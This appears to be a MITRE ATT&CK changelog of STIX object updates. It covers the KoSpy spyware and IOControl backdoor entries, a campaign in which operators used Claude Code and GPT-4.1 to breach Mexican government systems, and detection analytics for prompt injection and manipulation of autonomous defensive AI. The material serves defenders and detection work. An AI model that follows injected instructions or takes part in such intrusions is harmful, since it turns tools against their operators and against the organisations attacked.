KoSpy is Android spyware active since at least March 2022, with the most recent samples acquired in March 2024. KoSpy has been distributed through Google Play and the third-party app store Apkpure and retrieves its configuration, including its C2 address, from Firebase Firestore. KoSpy has targeted Korean and English-speaking users and leverages infrastructure associated with APT37 and Kimsuky; however, it remains unclear whether either group has used KoSpy.(Citation: Lookout_KoSpy_March2025)
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | IOControl is a malware that targeted Linux ARM-based IoT/OT | t | 1 | [IOControl](https://attack.mitre.org/software/S9046) is a Li |
| > | devices including Hikvision IP cameras, D-Link firewalls and | > | nux backdoor compiled for 32-bit ARM devices that has been u | ||
| > | routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel ma | > | sed to target IoT and OT devices in Israel and the United St | ||
| > | nagement systems, and Baicells LTE controllers across the Un | > | ates, including IP cameras, routers, firewalls, PLCs, HMIs, | ||
| > | ited States and Israel. The malware has been attributed to [ | > | and Orpak and Gasboy fuel management systems. Affected vendo | ||
| > | CyberAv3ngers](https://attack.mitre.org/groups/G1027) which | > | rs include Baicells, D-Link, Hikvision, Phoenix Contact, Red | ||
| > | is suspected to be affiliated with the Iranian Government Is | > | Lion, Teltonika, and Unitronics. [IOControl](https://attack | ||
| > | lamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IO | > | .mitre.org/software/S9046) has been used by [CyberAv3ngers]( | ||
| > | CONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Arm | > | https://attack.mitre.org/groups/G1027) which is suspected to | ||
| > | is-IOCONTROL) | > | be affiliated with the Iranian Government Islamic Revolutio | ||
| > | nary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citati | ||||
| > | on: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Yokogawa (Thailand & IT/OT SOC)'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-12 16:09:31.637000+00:00 | 2026-10-20 15:22:51.476000+00:00 |
| description | IOControl is a malware that targeted Linux ARM-based IoT/OT devices including Hikvision IP cameras, D-Link firewalls and routers, Unitronics PLCs and HMIs, Orpak and Gasboy fuel management systems, and Baicells LTE controllers across the United States and Israel. The malware has been attributed to [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) | [IOControl](https://attack.mitre.org/software/S9046) is a Linux backdoor compiled for 32-bit ARM devices that has been used to target IoT and OT devices in Israel and the United States, including IP cameras, routers, firewalls, PLCs, HMIs, and Orpak and Gasboy fuel management systems. Affected vendors include Baicells, D-Link, Hikvision, Phoenix Contact, Red Lion, Teltonika, and Unitronics. [IOControl](https://attack.mitre.org/software/S9046) has been used by [CyberAv3ngers](https://attack.mitre.org/groups/G1027) which is suspected to be affiliated with the Iranian Government Islamic Revolutionary Guard Corps (IRGC).(Citation: Claroty-IOCONTROL)(Citation: Dragos 2025 Year in Review)(Citation: Armis-IOCONTROL) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-12-09 02:29:13.859000+00:00 | 2026-10-07 19:20:10.980000+00:00 |
| external_references[7]['url'] | https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4 | https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-07-31 18:47:56.740000+00:00 | 2026-11-02 16:24:07.517000+00:00 |
| x_mitre_contributors[0] | Elger Vinicius S. Rodrigues, @elgervinicius, CYBINT Centre | Elger Rodrigues, @elgerx |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur | t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur |
| > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | ||
| > | here human operators used Claude Code AI and OpenAI GPT GPT- | > | here human operators used Claude Code AI and OpenAI GPT GPT- | ||
| > | 4.1 AI to perform reconnaissance, vulnerability exploitation | > | 4.1 AI to perform reconnaissance, vulnerability exploitation | ||
| > | , privilege escalation, discovery, credential harvesting, an | > | , privilege escalation, discovery, credential harvesting, an | ||
| > | d exfiltration operations. The attack impacted several Mexic | > | d exfiltration operations. The attack impacted several Mexic | ||
| > | an government institutions including the Federal Tax Authori | > | an government institutions including the Federal Tax Authori | ||
| > | ty (Servicio de Administracion Tributaria), Mexico State Gov | > | ty (Servicio de Administracion Tributaria), Mexico State Gov | ||
| > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | ||
| > | stro Civil de CDMX), Jalisco State Government, National Elec | > | stro Civil de CDMX), Jalisco State Government, National Elec | ||
| > | toral Institute (Instituto Nacional Electoral), Michoacan St | > | toral Institute (Instituto Nacional Electoral), Michoacan St | ||
| > | ate Government, SADM Monterrey Municipal Water Utility (Agua | > | ate Government, SADM Monterrey Municipal Water Utility (Agua | ||
| > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | ||
| > | y Health Department (Salud CDMX). The attack resulted in the | > | y Health Department (Salud CDMX). The attack resulted in the | ||
| > | theft of large amounts of sensitive government data and civ | > | theft of large amounts of sensitive government data and civ | ||
| > | ilian records. Please note that due to the breadth of this c | > | ilian records. (Citation: AI-Mexico-Govt-Compromise) | ||
| > | ampaign, public reporting only provides select details and a | ||||
| > | s a result this campaign should not be considered comprehens | ||||
| > | ive.(Citation: AI-Mexico-Govt-Compromise) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-09 00:56:40.965000+00:00 | 2026-10-20 14:52:14.093000+00:00 |
| description | The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. Please note that due to the breadth of this campaign, public reporting only provides select details and as a result this campaign should not be considered comprehensive.(Citation: AI-Mexico-Govt-Compromise) | The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. (Citation: AI-Mexico-Govt-Compromise) |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-07-31 18:47:29.960000+00:00 | 2026-11-02 21:09:13.901000+00:00 |
| external_references[1]['url'] | https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/ | https://www.lumen.com/blog/en-us/uncovering-versa-director-zero-day-exploitation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur | t | 1 | The [AI-Assisted Breach of Mexico's Government Infrastructur |
| > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | > | e](https://attack.mitre.org/campaigns/C0064) is a campaign w | ||
| > | here human operators used Claude Code AI and OpenAI GPT GPT- | > | here human operators used Claude Code AI and OpenAI GPT GPT- | ||
| > | 4.1 AI to perform reconnaissance, vulnerability exploitation | > | 4.1 AI to perform reconnaissance, vulnerability exploitation | ||
| > | , privilege escalation, discovery, credential harvesting, an | > | , privilege escalation, discovery, credential harvesting, an | ||
| > | d exfiltration operations. The attack impacted several Mexic | > | d exfiltration operations. The attack impacted several Mexic | ||
| > | an government institutions including the Federal Tax Authori | > | an government institutions including the Federal Tax Authori | ||
| > | ty (Servicio de Administracion Tributaria), Mexico State Gov | > | ty (Servicio de Administracion Tributaria), Mexico State Gov | ||
| > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | > | ernment (Estado de Mexico), Mexico City Civil Registry (Regi | ||
| > | stro Civil de CDMX), Jalisco State Government, National Elec | > | stro Civil de CDMX), Jalisco State Government, National Elec | ||
| > | toral Institute (Instituto Nacional Electoral), Michoacan St | > | toral Institute (Instituto Nacional Electoral), Michoacan St | ||
| > | ate Government, SADM Monterrey Municipal Water Utility (Agua | > | ate Government, SADM Monterrey Municipal Water Utility (Agua | ||
| > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | > | y Drenaje), Tamaulipas State Government, and the Mexico Cit | ||
| > | y Health Department (Salud CDMX). The attack resulted in the | > | y Health Department (Salud CDMX). The attack resulted in the | ||
| > | theft of large amounts of sensitive government data and civ | > | theft of large amounts of sensitive government data and civ | ||
| > | ilian records. Please note that due to the breadth of this c | > | ilian records. (Citation: AI-Mexico-Govt-Compromise) | ||
| > | ampaign, public reporting only provides select details and a | ||||
| > | s a result this campaign should not be considered comprehens | ||||
| > | ive.(Citation: AI-Mexico-Govt-Compromise) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-09 00:56:40.965000+00:00 | 2026-10-20 14:52:14.093000+00:00 |
| description | The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. Please note that due to the breadth of this campaign, public reporting only provides select details and as a result this campaign should not be considered comprehensive.(Citation: AI-Mexico-Govt-Compromise) | The [AI-Assisted Breach of Mexico's Government Infrastructure](https://attack.mitre.org/campaigns/C0064) is a campaign where human operators used Claude Code AI and OpenAI GPT GPT-4.1 AI to perform reconnaissance, vulnerability exploitation, privilege escalation, discovery, credential harvesting, and exfiltration operations. The attack impacted several Mexican government institutions including the Federal Tax Authority (Servicio de Administracion Tributaria), Mexico State Government (Estado de Mexico), Mexico City Civil Registry (Registro Civil de CDMX), Jalisco State Government, National Electoral Institute (Instituto Nacional Electoral), Michoacan State Government, SADM Monterrey Municipal Water Utility (Agua y Drenaje), Tamaulipas State Government, and the Mexico City Health Department (Salud CDMX). The attack resulted in the theft of large amounts of sensitive government data and civilian records. (Citation: AI-Mexico-Govt-Compromise) |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.730000+00:00 | 2026-09-03 20:31:27.076000+00:00 |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:49.098000+00:00 | 2026-10-13 19:46:23.403000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:40.408000+00:00 | 2026-11-03 00:06:23.011000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'MobileEDR:telemetry', 'channel': 'Monitored creation of an APK or application-package staging artifact following external retrieval'} |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:55.329000+00:00 | 2026-10-13 19:46:44.053000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:54.279000+00:00 | 2026-10-13 19:46:59.402000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:41.384000+00:00 | 2026-11-03 00:15:15.935000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'VPN:MobileProxy', 'channel': 'Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type'} | |
| x_mitre_log_sources | {'name': 'VPN:MobileProxy', 'channel': 'Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type'} |
Current version: 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:48.812000+00:00 | 2026-10-13 19:45:58.720000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:40:32.511000+00:00 | 2026-11-03 00:18:15.699000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'iOS:MDM', 'channel': 'Declarative Management app.managed.list status changes, where collected'} |
Current version: 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:40.408000+00:00 | 2026-11-03 00:06:23.011000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'MobileEDR:telemetry', 'channel': 'Monitored creation of an APK or application-package staging artifact following external retrieval'} |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:40:41.893000+00:00 | 2026-11-03 00:14:02.475000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'iOS:NetworkExtension', 'channel': 'NEFilterFlow, per-app VPN, or secure web gateway flow metadata'} |
Current version: 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:41.384000+00:00 | 2026-11-03 00:15:15.935000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'VPN:MobileProxy', 'channel': 'Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type'} | |
| x_mitre_log_sources | {'name': 'VPN:MobileProxy', 'channel': 'Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type'} |
Current version: 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:48.812000+00:00 | 2026-10-13 19:45:58.720000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:40:42.444000+00:00 | 2026-11-03 00:07:13.833000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'android:DevicePolicyManager', 'channel': 'Managed security state and policy information, including supported installation-related settings'} |
Current version: 2.0
Description:
The process of attaching a driver, which is a software component that allows the operating system and applications to interact with hardware devices, to either user-mode or kernel-mode of a system. This can include benign actions (e.g., hardware drivers) or malicious behavior (e.g., rootkits or unsigned drivers). Examples:
Current version: 2.0
Description:
Contextual information about firewalls, including their configurations, policies, status, and other details such as names and associated rules. This metadata provides valuable insights into the operational state and configurations of firewalls, both in cloud control planes and host systems. Examples:
This data component can be collected through the following measures:
Cloud Control Plane
az network firewall show --name <firewall-name>aws ec2 describe-security-groupsgcloud compute firewall-rules list --format=jsonHost-Based Firewalls
Get-NetFirewallRule -PolicyStore PersistentStoreiptables -Ssudo pfctl -srSIEM Integration
API Monitoring
Capture DescribeSecurityGroups or DescribeNetworkAcls calls via CloudTrail.Endpoint Detection and Response (EDR)
Current version: 2.0
Description:
The creation, deletion, or alteration of firewall rules to allow or block specific network traffic. Monitoring changes to these rules is critical for detecting misconfigurations, unauthorized access, or malicious attempts to bypass network protections. Examples:
This data component can be collected through the following measures:
Cloud Control Plane
az network firewall policy rule-collection-group rule-collection list --policy-name <policy-name>AuthorizeSecurityGroupIngress or RevokeSecurityGroupIngress actions.
Example: aws ec2 describe-security-groupsgcloud compute firewall-rules list --format=jsonHost-Based Firewalls
Get-NetFirewallRule -PolicyStore PersistentStoreiptables -L -vauditctl -w /etc/iptables.rules -p wasudo pfctl -srSIEM Integration
API Monitoring
Current version: 3.0
Description:
Refers to an event where one process attempts to open another process, typically to inspect or manipulate its memory, access handles, or modify execution flow. Monitoring these access attempts can provide valuable insight into both benign and malicious behaviors, such as debugging, inter-process communication (IPC), or process injection.
Data Collection Measures:
ptrace, open, read, write).Current version: 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:40.408000+00:00 | 2026-11-03 00:06:23.011000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'MobileEDR:telemetry', 'channel': 'Monitored creation of an APK or application-package staging artifact following external retrieval'} |
Current version: 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-10-13 17:43:41.384000+00:00 | 2026-11-03 00:15:15.935000+00:00 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_sources | {'name': 'VPN:MobileProxy', 'channel': 'Inspected application-package retrieval transaction, where authorized content inspection exposes the URL, response, or package type'} | |
| x_mitre_log_sources | {'name': 'VPN:MobileProxy', 'channel': 'Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type'} |
Current version: 1.0
Current version: 1.0
Current version: 1.0
Current version: 1.0
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_analytic_refs | ['x-mitre-analytic--7107739b-92d2-41fa-9fc8-ebe72f6086ee'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 16:34:50.691000+00:00 | 2026-11-03 19:48:16.429000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_analytic_refs | ['x-mitre-analytic--302a5327-70cf-44b5-b592-ce9a62014dcc'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 16:34:50.698000+00:00 | 2026-11-03 19:49:42.174000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
An analyst observes a user-originated instruction submitted to an AI application that attempts to override protected instructions or operational constraints. Within the same authenticated interaction, the AI system subsequently attempts a tool invocation, resource access, or workflow transition inconsistent with the authorized task or capability scope. The analyst correlates the originating instruction, subsequent operation, and authorization context to identify a potential successful instruction-boundary violation.
Current version: 1.0
Description:
An analyst observes an AI application retrieve or ingest lower-trust content containing instructions that attempt to redirect the application's behavior. Within the same agent execution context, the AI system subsequently attempts a tool invocation, resource access, or workflow transition outside the actions authorized for the original task or retrieved resource. The analyst correlates content provenance, instruction evidence, subsequent operation, and authorization context to identify potential promotion of untrusted content into operational authority.
Current version: 1.0
Description:
An analyst observes an autonomous defensive system ingest an adversary-controlled artifact, message, or other lower-trust content during a security workflow. Following ingestion, the system unexpectedly terminates or truncates analysis, suppresses a detection, modifies a security decision, or attempts to disable a defensive capability contrary to the established workflow. The analyst correlates the ingested content, defensive task execution, and subsequent security-control state or disposition to identify potential adversarial manipulation of autonomous defenses.
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-21 15:10:28.402000+00:00 | 2026-11-03 01:41:15.515000+00:00 |
| x_mitre_log_source_references[1]['name'] | linus:syslog | linux:syslog |
Current version: 1.0
Description:
On managed Android devices with the necessary network and security telemetry enabled, identify an application package retrieved through a browser, messaging application, third-party store, or another external delivery mechanism. Correlate the package retrieval with a subsequent installation event on the same device, using package identity, delivery source, timing, and installer provenance where available.
Prioritize cases where the delivery source is outside approved distribution channels, the installer is inconsistent with authorized workflows, and the application is not approved for the device or user. Exclude sanctioned enterprise deployments, approved testing, and documented alternative distribution channels.
Current version: 1.0
Description:
On managed iOS devices, identify observable delivery of an application package or distribution link through an external website, messaging channel, or other non-approved distribution mechanism.
Where managed network inspection exposes the transaction, identify application-package retrieval or a distribution workflow outside the organization's approved channels. Correlate this with an application newly appearing in device inventory or with a managed-app lifecycle change, using bundle identifier, distribution attributes, and timing where available.
Prioritize cases where the distribution evidence is independently observed and inconsistent with authorized enterprise distribution, alternative marketplaces, or approved testing workflows.
Current version: 1.0
Description:
Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages. Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features. Monitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (e.g., JScript.dll, vbscript.dll). Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_source_references | [{'x_mitre_data_component_ref': 'x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0', 'name': 'Command', 'channel': 'None'}, {'x_mitre_data_component_ref': 'x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077', 'name': 'Process', 'channel': 'None'}, {'x_mitre_data_component_ref': 'x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1', 'name': 'Process', 'channel': 'None'}, {'x_mitre_data_component_ref': 'x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1', 'name': 'Module', 'channel': 'None'}, {'x_mitre_data_component_ref': 'x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd', 'name': 'Script', 'channel': 'None'}] | |
| external_references | https://attack.mitre.org/detectionstrategies/DET0735#AN1868 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-21 15:10:28.402000+00:00 | 2026-11-03 19:49:32.705000+00:00 |
| x_mitre_deprecated | False | True |
Current version: 1.0
Description:
On Windows and Unix systems monitor executed commands and arguments that may use shell commands for execution. Shells may be common on administrator, developer, or power user systems depending on job function.
On network device and embedded system CLIs consider reviewing command history if unauthorized or suspicious commands were used to modify device configuration. Monitor logs from installed applications (e.g., historian logs) for unexpected commands or abuse of system features. Monitor for processes spawning from known command shell applications (e.g., PowerShell, Bash). Benign activity will need to be allow-listed. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_log_source_references | [{'x_mitre_data_component_ref': 'x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0', 'name': 'Command', 'channel': 'None'}, {'x_mitre_data_component_ref': 'x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa', 'name': 'Application Log', 'channel': 'None'}, {'x_mitre_data_component_ref': 'x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077', 'name': 'Process', 'channel': 'None'}] | |
| external_references | https://attack.mitre.org/detectionstrategies/DET0760#AN1892 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-21 15:10:28.402000+00:00 | 2026-11-03 19:48:06.724000+00:00 |
| x_mitre_deprecated | False | True |